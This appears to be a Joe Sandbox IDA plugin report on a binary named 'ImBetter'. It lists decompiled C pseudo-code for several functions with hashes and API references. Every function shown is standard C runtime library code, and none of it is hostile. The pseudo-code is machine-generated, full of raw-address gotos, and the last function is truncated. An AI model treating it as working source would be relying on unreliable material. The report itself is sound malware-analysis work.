Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ExceptionFileHeaderRaise__std_fs_directory_iterator_open
String ID:
API String ID: 1249570529-0
Opcode ID: 685d49c7c9adf3c6c9e78d7bb24feac940308ce44cb81624d555d96add1acc59
Instruction ID: 7c346ce7b8b2b53fcf85a3c13a091d45b5192121bcabcd6c03f52dbe090ad439
Opcode Fuzzy Hash: 685d49c7c9adf3c6c9e78d7bb24feac940308ce44cb81624d555d96add1acc59
Instruction Fuzzy Hash: 8E410B62A2868290EE10BB15D9483BBB322FF957D4FA45232DA5C036D6EF3CD9858311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B300EC Relevance: 1.6, APIs: 1, Instructions: 105
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF7E6B300EC(signed int __edi, intOrPtr* __rax, long long __rbx, signed char** __rcx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {
				void* _t55;
				signed int _t56;
				signed int _t76;
				signed int _t77;
				intOrPtr* _t94;
				signed char* _t96;
				void* _t109;
				signed char** _t117;
				void* _t122;

				_t98 = __rbx;
				_t94 = __rax;
				_t76 = __edi;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t117 = __rcx;
				if (__rcx != 0) goto 0xe6b3011e;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E6B25994();
				goto 0xe6b3023d;
				if (( *(__rcx + 0x14) >> 0x0000000d & 0x00000001) == 0) goto 0xe6b3023d;
				if (( *(__rcx + 0x14) >> 0x0000000c & 0x00000001) != 0) goto 0xe6b3023d;
				if (( *(__rcx + 0x14) >> 0x00000001 & 0x00000001) == 0) goto 0xe6b3014d;
				asm("lock or dword [ecx+0x14], 0x10");
				goto 0xe6b3023d;
				asm("lock or dword [ecx+0x14], 0x1");
				if (( *(__rcx + 0x14) & 0x000004c0) != 0) goto 0xe6b30161;
				E00007FF77FF7E6B3089C( *(__rcx + 0x14) & 0x000004c0, __rax, __rbx, __rcx, _t109);
				 *((long long*)(__rcx)) =  *((intOrPtr*)(__rcx + 8));
				_t55 = E00007FF77FF7E6B2D3FC(__rax, __rcx);
				r8d =  *((intOrPtr*)(__rcx + 0x20));
				_t56 = E00007FF77FF7E6B318D4( *((intOrPtr*)(__rcx + 0x20)), _t55, _t76, _t98,  *((intOrPtr*)(__rcx + 8)),  *((intOrPtr*)(__rcx + 8)), _t122); // executed
				_t117[2] = _t56;
				_t19 = _t94 + 1; // 0x1
				if (_t19 - 1 <= 0) goto 0xe6b3022b;
				_t77 = _t76 | 0xffffffff;
				if ((_t117[2] & 0x00000006) != 0) goto 0xe6b301f6;
				if (E00007FF77FF7E6B2D3FC(_t94, _t117) == _t77) goto 0xe6b301e1;
				if (E00007FF77FF7E6B2D3FC(_t94, _t117) == 0xfffffffe) goto 0xe6b301e1;
				E00007FF77FF7E6B2D3FC(_t94, _t117);
				E00007FF77FF7E6B2D3FC(_t94, _t117);
				goto 0xe6b301e8;
				if (( *0x7FF7E6B6B528 & 0x00000082) != 0x82) goto 0xe6b301f6;
				asm("lock or dword [esi+0x14], 0x20");
				if (_t117[4] != 0x200) goto 0xe6b3021a;
				if ((_t117[2] >> 0x00000006 & 0x00000001) == 0) goto 0xe6b3021a;
				if ((_t117[2] >> 0x00000008 & 0x00000001) != 0) goto 0xe6b3021a;
				_t117[4] = 0x1000;
				_t96 =  *_t117;
				_t117[2] =  &(_t117[2][_t77]);
				 *_t117 =  &(_t96[1]);
				goto 0xe6b30240;
				asm("sbb eax, eax");
				asm("lock or [esi+0x14], eax");
				_t117[2] = _t117[2] & 0x00000000;
				return  *_t96 & 0x000000ff | 0xffffffff;
			}

0x7ff7e6b300ec
0x7ff7e6b300ec
0x7ff7e6b300ec
0x7ff7e6b300ec
0x7ff7e6b300f1
0x7ff7e6b300f6
0x7ff7e6b30101
0x7ff7e6b30107
0x7ff7e6b30109
0x7ff7e6b3010e
0x7ff7e6b30114
0x7ff7e6b30119
0x7ff7e6b30126
0x7ff7e6b30134
0x7ff7e6b30141
0x7ff7e6b30143
0x7ff7e6b30148
0x7ff7e6b3014d
0x7ff7e6b3015a
0x7ff7e6b3015c
0x7ff7e6b3016b
0x7ff7e6b3016e
0x7ff7e6b30173
0x7ff7e6b3017b
0x7ff7e6b30180
0x7ff7e6b30183
0x7ff7e6b30189
0x7ff7e6b30192
0x7ff7e6b30197
0x7ff7e6b301a3
0x7ff7e6b301b0
0x7ff7e6b301b5
0x7ff7e6b301cb
0x7ff7e6b301df
0x7ff7e6b301ef
0x7ff7e6b301f1
0x7ff7e6b301fd
0x7ff7e6b30207
0x7ff7e6b30211
0x7ff7e6b30213
0x7ff7e6b3021a
0x7ff7e6b3021d
0x7ff7e6b30226
0x7ff7e6b30229
0x7ff7e6b3022d
0x7ff7e6b30235
0x7ff7e6b30239
0x7ff7e6b30257

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B30114

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 74af23dcb0c2a04e0e4f299bb1c562e21eb67dd8c4b855eb8772eecbc7722a25
Instruction ID: 0b7ea54bf60c45a857a861ed8b075a0a852d3c28a7928e93c6d22a397abde759
Opcode Fuzzy Hash: 74af23dcb0c2a04e0e4f299bb1c562e21eb67dd8c4b855eb8772eecbc7722a25
Instruction Fuzzy Hash: 44418632E6864547EA74AA19ED4037FB7A0EF54B44FA00132DA9E47A91CF7CE402C762

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B14B40 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF7E6B14B40(void* __ecx, void* __esi, void* __eflags, long long __rbx, long long* __rcx, void* __rdx, void* __rbp, void* __r12, void* __r13, void* __r15, long long _a24) {
				signed int _v40;
				intOrPtr _v44;
				long long _v48;
				char _v640;
				char _v648;
				signed long long _v656;
				char _v680;
				intOrPtr _v692;
				long long _v696;
				void* __rsi;
				intOrPtr _t33;
				void* _t48;
				signed long long _t60;
				long long _t62;
				long long _t69;
				long long _t70;
				intOrPtr* _t71;
				signed long long _t86;
				long long _t89;
				void* _t92;
				long long* _t99;

				_t69 = __rbx;
				_t48 = __esi;
				_a24 = __rbx;
				_t93 = _t92 - 0x2c0;
				_t60 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v40 = _t60 ^ _t92 - 0x000002c0;
				_t99 = __rcx;
				E00007FF77FF7E6B09B50(_t60 ^ _t92 - 0x000002c0, __rbx,  &_v680, __rdx);
				_v648 = 0xffffffff;
				_t7 = _t69 + 2; // 0x2
				_t33 = E00007FF77FF7E6B11D10(__ecx, _t7, _t69,  &_v680, __rbp,  &_v648,  &_v640, __r12, __r13, __r15); // executed
				_v692 = 0;
				if (_t33 != 0) goto 0xe6b14ba4;
				_v696 = 1;
				goto 0xe6b14bb2;
				_v696 = 0;
				if (_t33 == 0x12) goto 0xe6b14bb2;
				_v692 = _t33;
				_t62 = _v696;
				_v48 = _t62;
				if (_t33 == 0) goto 0xe6b14c42;
				E00007FF77FF7E6B3CAAC(_t33, _t62,  &_v680);
				_t89 = _t62;
				_v696 = _t62;
				asm("xorps xmm0, xmm0");
				asm("movups [eax], xmm0");
				 *((intOrPtr*)(_t62 + 8)) = 1;
				 *((intOrPtr*)(_t62 + 0xc)) = 1;
				 *_t89 = 0xe6b5ffb0;
				_t18 = _t89 + 0x10; // 0x10
				_t70 = _t18;
				r8d = 2;
				E00007FF77FF7E6B12560(_t70, _t70,  &_v680, 0xffffffff, __rbp);
				 *_t99 = _t70;
				_t71 =  *((intOrPtr*)(_t99 + 8));
				 *((long long*)(_t99 + 8)) = _t89;
				if (_t71 == 0) goto 0xe6b14c42;
				asm("lock xadd [ebx+0x8], eax");
				if (_t48 != 1) goto 0xe6b14c42;
				 *((intOrPtr*)( *_t71))();
				asm("lock xadd [ebx+0xc], esi");
				if (_t48 != 1) goto 0xe6b14c42;
				 *((intOrPtr*)( *_t71 + 8))();
				E00007FF77FF7E6B43514(_v648);
				_t86 = _v656;
				if (_t86 - 8 < 0) goto 0xe6b14c91;
				_t80 = _v680;
				if (2 + _t86 * 2 - 0x1000 < 0) goto 0xe6b14c8c;
				if (_v680 -  *((intOrPtr*)(_t80 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b14cb7;
				E00007FF77FF7E6B3CAF0(_t7,  *((intOrPtr*)(_t80 - 8)));
				return E00007FF77FF7E6B3C7F0(_v44, 0x78, _v40 ^ _t93);
			}

0x7ff7e6b14b40
0x7ff7e6b14b40
0x7ff7e6b14b40
0x7ff7e6b14b49
0x7ff7e6b14b50
0x7ff7e6b14b5a
0x7ff7e6b14b62
0x7ff7e6b14b6c
0x7ff7e6b14b79
0x7ff7e6b14b88
0x7ff7e6b14b90
0x7ff7e6b14b95
0x7ff7e6b14b9b
0x7ff7e6b14b9d
0x7ff7e6b14ba2
0x7ff7e6b14ba4
0x7ff7e6b14bac
0x7ff7e6b14bae
0x7ff7e6b14bb2
0x7ff7e6b14bb7
0x7ff7e6b14bc1
0x7ff7e6b14bc8
0x7ff7e6b14bcd
0x7ff7e6b14bd0
0x7ff7e6b14bd5
0x7ff7e6b14bd8
0x7ff7e6b14bdb
0x7ff7e6b14be2
0x7ff7e6b14bf0
0x7ff7e6b14bf3
0x7ff7e6b14bf3
0x7ff7e6b14bf7
0x7ff7e6b14c05
0x7ff7e6b14c0b
0x7ff7e6b14c0e
0x7ff7e6b14c12
0x7ff7e6b14c19
0x7ff7e6b14c1d
0x7ff7e6b14c25
0x7ff7e6b14c2d
0x7ff7e6b14c2f
0x7ff7e6b14c37
0x7ff7e6b14c3f
0x7ff7e6b14c4e
0x7ff7e6b14c53
0x7ff7e6b14c5c
0x7ff7e6b14c66
0x7ff7e6b14c75
0x7ff7e6b14c8a
0x7ff7e6b14c8c
0x7ff7e6b14cb6

APIs

Part of subcall function 00007FF7E6B11D10: __std_fs_directory_iterator_open.LIBCPMT ref: 00007FF7E6B11DF2

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B14CB7

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: __std_fs_directory_iterator_open_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1665379365-0
Opcode ID: 06540047a51eaa536836e791128ff4d8be53c49d973fa0b0b6b6b82d3cad17a7
Instruction ID: 8ce1bc88f08b9fe5192515a3de8464872e05c603d3af9811243ef74e6d6071bd
Opcode Fuzzy Hash: 06540047a51eaa536836e791128ff4d8be53c49d973fa0b0b6b6b82d3cad17a7
Instruction Fuzzy Hash: 3E41827262978192EA10EF15E88436FB361FB84BA4F644232EB9D07799DF7CD444CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B45C28 Relevance: 1.6, APIs: 1, Instructions: 93
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF7E6B45C28(void* __rax, signed int __rbx, void* __rcx, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24) {

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				if (__rcx == 0) goto 0xe6b45c7e;
				_t22 = (__rbx | 0xffffffff) + 1;
				if ( *((intOrPtr*)(__rcx + ((__rbx | 0xffffffff) + 1) * 2)) != 0) goto 0xe6b45c4a;
				0xe6b45350();
				if (__rax == 0) goto 0xe6b45c7e;
				if (E00007FF77FF7E6B3336C(__rax, __rax, _t22 + 1, __rcx) != 0) goto 0xe6b45c95;
				goto 0xe6b45c80;
				return 0;
			}

0x7ff7e6b45c28
0x7ff7e6b45c2d
0x7ff7e6b45c32
0x7ff7e6b45c44
0x7ff7e6b45c4a
0x7ff7e6b45c51
0x7ff7e6b45c5a
0x7ff7e6b45c65
0x7ff7e6b45c77
0x7ff7e6b45c7c
0x7ff7e6b45c94

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B45CD4

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 04a3c08afa0014baf42903edf73949d450165d038eeff0cd3bb959a51c1af67e
Instruction ID: 8af44bd8acc81bd44bf9084e757b85d724367320bf1cdda30869fbd3af87c578
Opcode Fuzzy Hash: 04a3c08afa0014baf42903edf73949d450165d038eeff0cd3bb959a51c1af67e
Instruction Fuzzy Hash: FA31C422A28A8541EB61BB55980037BF390AF45B90FB44533EB9D47BD7EE7CE4008722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B318D4 Relevance: 1.6, APIs: 1, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF7E6B318D4(void* __ebx, signed int __ecx, signed int __edi, signed int __rbx, void* __rdx, signed int __rdi, signed int __r12, void* _a16, void* _a24, void* _a32) {
				signed int _t44;
				void* _t45;
				void* _t48;
				signed int* _t53;
				signed int* _t55;
				signed int* _t57;
				signed int* _t66;
				void* _t69;
				signed long long _t74;
				signed long long _t80;

				_t44 = __edi;
				_t53 = _t66;
				_t53[4] = __rbx;
				_t53[6] = __rdi;
				_t53[8] = __r12;
				_t53[2] = __ecx;
				r14d = r8d;
				if (__edi != 0xfffffffe) goto 0xe6b31916;
				E00007FF77FF7E6B29CC4(_t53);
				 *_t53 =  *_t53 & 0x00000000;
				E00007FF77FF7E6B29CE4(_t53);
				 *_t53 = 9;
				goto 0xe6b319d0;
				if (__ecx < 0) goto 0xe6b319b8;
				_t48 = _t44 -  *0xe6b6d1b0; // 0x40
				if (_t48 >= 0) goto 0xe6b319b8;
				_t80 = __ecx >> 6;
				_t74 = __ecx + __ecx * 8;
				_t55 =  *((intOrPtr*)(0xe6b6cdb0 + _t80 * 8));
				if (( *(_t55 + 0x38 + _t74 * 8) & 0x00000001) == 0) goto 0xe6b319b8;
				if (r14d - 0x7fffffff <= 0) goto 0xe6b3196c;
				E00007FF77FF7E6B29CC4(_t55);
				 *_t55 =  *_t55 & 0x00000000;
				E00007FF77FF7E6B29CE4(_t55);
				 *_t55 = 0x16;
				goto 0xe6b319cb;
				E00007FF77FF7E6B3792C();
				_t57 =  *((intOrPtr*)(0xe6b6cdb0 + _t80 * 8));
				if (( *(0xe6b6cdb0 + 0x38 + _t74 * 8) & 0x00000001) != 0) goto 0xe6b3199e;
				E00007FF77FF7E6B29CE4(_t57);
				 *0xe6b6cdb0 = 9;
				E00007FF77FF7E6B29CC4(_t57);
				 *0xe6b6cdb0 =  *0xe6b6cdb0 & 0x00000000;
				goto 0xe6b319ad;
				r8d = r14d;
				E00007FF77FF7E6B319F0(__edi, _t45, _t57, 0xe6b6cdb0, __rdx, _t69); // executed
				E00007FF77FF7E6B37A14();
				goto 0xe6b319d3;
				E00007FF77FF7E6B29CC4(_t57);
				 *0xe6b6cdb0 =  *0xe6b6cdb0 & 0x00000000;
				E00007FF77FF7E6B29CE4(_t57);
				 *_t57 = 9;
				return E00007FF77FF7E6B25994() | 0xffffffff;
			}

0x7ff7e6b318d4
0x7ff7e6b318d4
0x7ff7e6b318d7
0x7ff7e6b318db
0x7ff7e6b318df
0x7ff7e6b318e3
0x7ff7e6b318f0
0x7ff7e6b318fc
0x7ff7e6b318fe
0x7ff7e6b31903
0x7ff7e6b31906
0x7ff7e6b3190b
0x7ff7e6b31911
0x7ff7e6b31918
0x7ff7e6b3191e
0x7ff7e6b31924
0x7ff7e6b31930
0x7ff7e6b3193e
0x7ff7e6b31942
0x7ff7e6b3194c
0x7ff7e6b31955
0x7ff7e6b31957
0x7ff7e6b3195c
0x7ff7e6b3195f
0x7ff7e6b31964
0x7ff7e6b3196a
0x7ff7e6b3196e
0x7ff7e6b3197d
0x7ff7e6b31987
0x7ff7e6b31989
0x7ff7e6b3198e
0x7ff7e6b31994
0x7ff7e6b31999
0x7ff7e6b3199c
0x7ff7e6b3199e
0x7ff7e6b319a6
0x7ff7e6b319af
0x7ff7e6b319b6
0x7ff7e6b319b8
0x7ff7e6b319bd
0x7ff7e6b319c0
0x7ff7e6b319c5
0x7ff7e6b319ec

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B319CB

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1120dae2b4b562beb60d1275ac49dbde2e2d048e432cf8944255fbbfbdf35ca3
Instruction ID: ed2f20652291e2e6ddc21299a48dfc6096709813c5877b66692cc67225791fae
Opcode Fuzzy Hash: 1120dae2b4b562beb60d1275ac49dbde2e2d048e432cf8944255fbbfbdf35ca3
Instruction Fuzzy Hash: 9A317221B6868185E7117F168C4537EBA95AB84BA1FE14337DA1D037D3CFBCA442C632

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B36EFD Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00007FF77FF7E6B36EFD(void* __ecx, char __edx, intOrPtr* __rax, long long __rbx, long long _a8, char _a16, char _a24, char _a32) {
				long long _v16;
				long long _v24;
				char _v32;
				long long _v40;
				char _v48;
				char _v52;
				void* _v56;
				void* _t29;
				void* _t50;
				intOrPtr* _t52;
				void* _t54;
				void* _t56;
				WCHAR* _t57;
				void* _t63;
				void* _t65;
				void* _t67;

				E00007FF77FF7E6B3AC68(__ecx, __edx, __rax, __rbx, _t50, _t54, _t56, _t63, _t65, _t67);
				asm("int3");
				_a24 = r8d;
				_a16 = __edx;
				_v40 = 0xfffffffe;
				_a8 = __rbx;
				if (r8d != 0) goto 0xe6b36f73;
				GetModuleHandleW(_t57);
				if (__rax == 0) goto 0xe6b36f73;
				if ( *__rax != 0x5a4d) goto 0xe6b36f73;
				_t52 =  *((intOrPtr*)(__rax + 0x3c)) + __rax;
				if ( *_t52 != 0x4550) goto 0xe6b36f73;
				if ( *((intOrPtr*)(_t52 + 0x18)) != 0x20b) goto 0xe6b36f73;
				if ( *((intOrPtr*)(_t52 + 0x84)) - 0xe <= 0) goto 0xe6b36f73;
				if ( *((intOrPtr*)(_t52 + 0xf8)) == 0) goto 0xe6b36f73;
				E00007FF77FF7E6B37030(0x20b, __ecx, __rax);
				_a32 = 0;
				_v32 =  &_a16;
				_v24 =  &_a24;
				_v16 =  &_a32;
				_v52 = 2;
				_v48 = 2;
				_t29 = E00007FF77FF7E6B36E00(__rbx,  &_v48,  &_v32,  &_v52); // executed
				if (_a24 == 0) goto 0xe6b36fc1;
				return _t29;
			}

0x7ff7e6b36efd
0x7ff7e6b36f03
0x7ff7e6b36f04
0x7ff7e6b36f09
0x7ff7e6b36f15
0x7ff7e6b36f1d
0x7ff7e6b36f27
0x7ff7e6b36f2b
0x7ff7e6b36f34
0x7ff7e6b36f3e
0x7ff7e6b36f44
0x7ff7e6b36f4d
0x7ff7e6b36f58
0x7ff7e6b36f61
0x7ff7e6b36f6a
0x7ff7e6b36f6e
0x7ff7e6b36f73
0x7ff7e6b36f7b
0x7ff7e6b36f83
0x7ff7e6b36f8b
0x7ff7e6b36f94
0x7ff7e6b36f97
0x7ff7e6b36faa
0x7ff7e6b36fb4
0x7ff7e6b36fc0

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7E6B36F2B

Part of subcall function 00007FF7E6B37030: GetModuleHandleExW.KERNEL32 ref: 00007FF7E6B37055
Part of subcall function 00007FF7E6B37030: GetProcAddress.KERNEL32 ref: 00007FF7E6B3706B
Part of subcall function 00007FF7E6B37030: FreeLibrary.KERNEL32 ref: 00007FF7E6B37092

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: abbdd9b0f09070685d46ab8fc14cf7767829ec105f9baf20536e4e3b866bc7a2
Instruction ID: 329f452438178f36a715c81128be763672683bec4ca5f313c8e0ad5e2251bece
Opcode Fuzzy Hash: abbdd9b0f09070685d46ab8fc14cf7767829ec105f9baf20536e4e3b866bc7a2
Instruction Fuzzy Hash: 3421F136F247018AEB24AF64C8403ED37B4EB04758FA40636E61C06ED5EFB8D445C791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0B980 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B0B980(long long __rbx, intOrPtr* __rcx, long long _a16) {
				void* _t20;
				void* _t21;
				signed long long _t41;
				signed long long _t44;
				long long _t47;

				_a16 = __rbx;
				_t41 =  *((intOrPtr*)(__rcx + 0x38));
				if (_t41 - 8 < 0) goto 0xe6b0b9c9;
				_t35 =  *((intOrPtr*)(__rcx + 0x20));
				if (2 + _t41 * 2 - 0x1000 < 0) goto 0xe6b0b9c4;
				_t7 =  *((intOrPtr*)(__rcx + 0x20)) -  *((intOrPtr*)(_t35 - 8)) - 8; // -8
				if (_t7 - 0x1f > 0) goto 0xe6b0ba30;
				E00007FF77FF7E6B3CAF0(_t21,  *((intOrPtr*)(_t35 - 8))); // executed
				 *((long long*)(__rcx + 0x38)) = 7;
				 *((long long*)(__rcx + 0x30)) = _t47;
				 *((short*)(__rcx + 0x20)) = 0;
				_t44 =  *((intOrPtr*)(__rcx + 0x18));
				if (_t44 - 8 < 0) goto 0xe6b0ba16;
				_t38 =  *__rcx;
				if (2 + _t44 * 2 - 0x1000 < 0) goto 0xe6b0ba11;
				if ( *__rcx -  *((intOrPtr*)(_t38 - 8)) - 8 - 0x1f > 0) goto 0xe6b0ba30;
				_t20 = E00007FF77FF7E6B3CAF0(_t21,  *((intOrPtr*)(_t38 - 8))); // executed
				 *((long long*)(__rcx + 0x10)) = _t47;
				 *((long long*)(__rcx + 0x18)) = 7;
				 *((short*)(__rcx)) = 0;
				return _t20;
			}

0x7ff7e6b0b980
0x7ff7e6b0b98a
0x7ff7e6b0b995
0x7ff7e6b0b997
0x7ff7e6b0b9aa
0x7ff7e6b0b9b7
0x7ff7e6b0b9bf
0x7ff7e6b0b9c4
0x7ff7e6b0b9cb
0x7ff7e6b0b9d3
0x7ff7e6b0b9d7
0x7ff7e6b0b9db
0x7ff7e6b0b9e3
0x7ff7e6b0b9e5
0x7ff7e6b0b9f7
0x7ff7e6b0ba0c
0x7ff7e6b0ba11
0x7ff7e6b0ba16
0x7ff7e6b0ba1a
0x7ff7e6b0ba22
0x7ff7e6b0ba2f

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0BA30

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: ae173a63229a3113148031f2d310fde14525677fe19e643febc40c8de4638ac7
Instruction ID: 83446256886d6f3c3216064b236b5a57cbc29106371b4e9274cd49af06b3d3e2
Opcode Fuzzy Hash: ae173a63229a3113148031f2d310fde14525677fe19e643febc40c8de4638ac7
Instruction Fuzzy Hash: 5C11906272468580EB44EB29D89836EB362EB40FCCFA04032CB4D0765ADFBDC8808340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B4A1E4 Relevance: 1.6, APIs: 1, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B4A1E4(intOrPtr* __rax, long long __rbx, long long _a8, intOrPtr _a40) {

				_a8 = __rbx;
				if (_a40 != 0) goto 0xe6b4a219;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E6B25994();
				return 0x16;
			}

0x7ff7e6b4a1e4
0x7ff7e6b4a1f9
0x7ff7e6b4a1fb
0x7ff7e6b4a205
0x7ff7e6b4a207
0x7ff7e6b4a218

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B4A207

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7c03bd4df0c0dd969790fba37ec16ca89ccfa76b4fd88114cdb0abc2c8069c86
Instruction ID: bced79d025a6cd11c4812e49c8f431119196471e867adbf00598191859cf7486
Opcode Fuzzy Hash: 7c03bd4df0c0dd969790fba37ec16ca89ccfa76b4fd88114cdb0abc2c8069c86
Instruction Fuzzy Hash: 6021D77262868146EB61AF19D84037AB7A0FB84B54FB44236EB5D476DDEF3DD800CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B4A2A8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B4A2A8(intOrPtr* __rax, long long __rbx, long long _a8, intOrPtr _a40) {

				_a8 = __rbx;
				if (_a40 != 0) goto 0xe6b4a2dd;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E6B25994();
				return 0x16;
			}

0x7ff7e6b4a2a8
0x7ff7e6b4a2bd
